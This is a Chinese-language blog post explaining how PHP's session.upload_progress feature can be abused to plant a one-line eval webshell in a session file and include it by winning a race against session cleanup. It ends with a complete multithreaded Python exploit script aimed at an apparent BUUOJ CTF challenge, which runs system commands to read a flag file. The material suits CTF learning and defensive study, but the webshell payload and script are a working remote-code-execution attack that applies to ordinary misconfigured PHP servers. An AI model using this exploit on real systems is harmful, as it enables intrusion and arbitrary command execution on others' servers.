浅谈利用session.upload_progress进行条件竞争下的文件包含

123 阅读3分钟

PHP5.4中添加了session.upload_progress这个功能,用于跟踪文件上传的进度

在php.ini中,关于这个功能的配置项有(均为默认值)

session.upload_progress.enabled = On
session.upload_progress.cleanup = On
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq =  "1%"
session.upload_progress.min_freq = "1"

enabled用于开启或关闭文件上传进度追踪功能,若该项为Off,下面的讲解不用看了,利用不了。

cleanup表示当文件上传结束后,php将会立即清空对应session文件中的内容。

prefix是上传进度信息在 $_SESSION 中存储的键名前缀。

namen出现在表单中,php将会报告上传进度,值可控。

prefix+name将表示为session中的键名,例如$_SESSION['upload_progress_12345']。

freq及min_freq不重要,按下不表。

此外还有

session.use_strict_mode

这个配置项,默认值为Off,表示我们对Cookie中sessionid可控。


当session.upload_progress启用后,当我们往php服务器传文件时,文件的一些信息(上传时间等)会被序列化后存储进sess文件中

例如

upload_progress_12345|a:5:{s:10:"start_time";i:1727197769;s:14:"content_length";i:51457;s:15:"bytes_processed";i:5231;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"tgao.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1727197769;s:15:"bytes_processed";i:5231;}}}

其中12345是我们可控的部分,我们可以在这一部分构造一句话木马。

整体思路就是:我们上传一个文件,在POST请求中加入PHP_SESSION_UPLOAD_PROGRESS字段,服务器检测报文中存在这个字段就会启用session.upload_progress功能,接下来我们写在PHP_SESSION_UPLOAD_PROGRESS的字段的一句话木马便会拼接到sess文件中(该sess文件名可通过在cookie中PHPSESSID的值来控制,具体值为sess_{PHPSESSID},无后缀),随后我们通过require函数将sess文件以PHP的格式包含进页面中(在linux系统中,session文件一般的默认存储位置为/tmp或 /var/lib/php/session),此时的页面中已经被种入我们的木马,利用成功。

等等,上文不是说“cleanup表示当文件上传结束后,php将会立即清空对应session文件中的内容”么?

上传完毕sess文件接着被清空那我们该怎么进行require呢?

解决思路可以说精妙也可以说暴力:多线程疯狂上传,同时疯狂访问,总会有刚上传结束,服务器马上要删除sess文件但还没来及删的时候,此时sess文件就正好被我们包含进来。

有一点需要注意:我们的木马并不是在上传的文件里,毕竟服务器很多时候没有开启文件上传功能,我们的上传只是为了触发session.upload_progress功能,在上传报文的PHP_SESSION_UPLOAD_PROGRESS字段才藏着我们的木马。所以上传的文件是什么并不重要,可以完全用垃圾字符填充出一个文件。


总结下利用条件:

  1. 目标服务器存在参数可控的require、require_once或类似函数
  2. 目标服务器开启了session.upload_progress.enabled功能(默认开启)
  3. session文件存储位置已知,且拥有对该位置的访问权限
  4. session文件名可控

利用脚本:

#coding=utf-8

import io
import requests
import threading

sessid = 'TGAO'
data = {"cmd": "system('more flag.php');"}

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(
            'http://7fe9788e-7a9b-43d2-b67a-919e3d6ab725.node5.buuoj.cn:81/', 
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, 
            #data={'PHP_SESSION_UPLOAD_PROGRESS': '12345'}, 
            files={'file': ('tgao.txt', f)}, 
            cookies={'PHPSESSID': sessid}
        )

def read(session):
    while True:
        resp = session.post(
            'http://7fe9788e-7a9b-43d2-b67a-919e3d6ab725.node5.buuoj.cn:81?file=/tmp/sess_' + sessid, 
            data=data
        )
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")

if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30): 
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()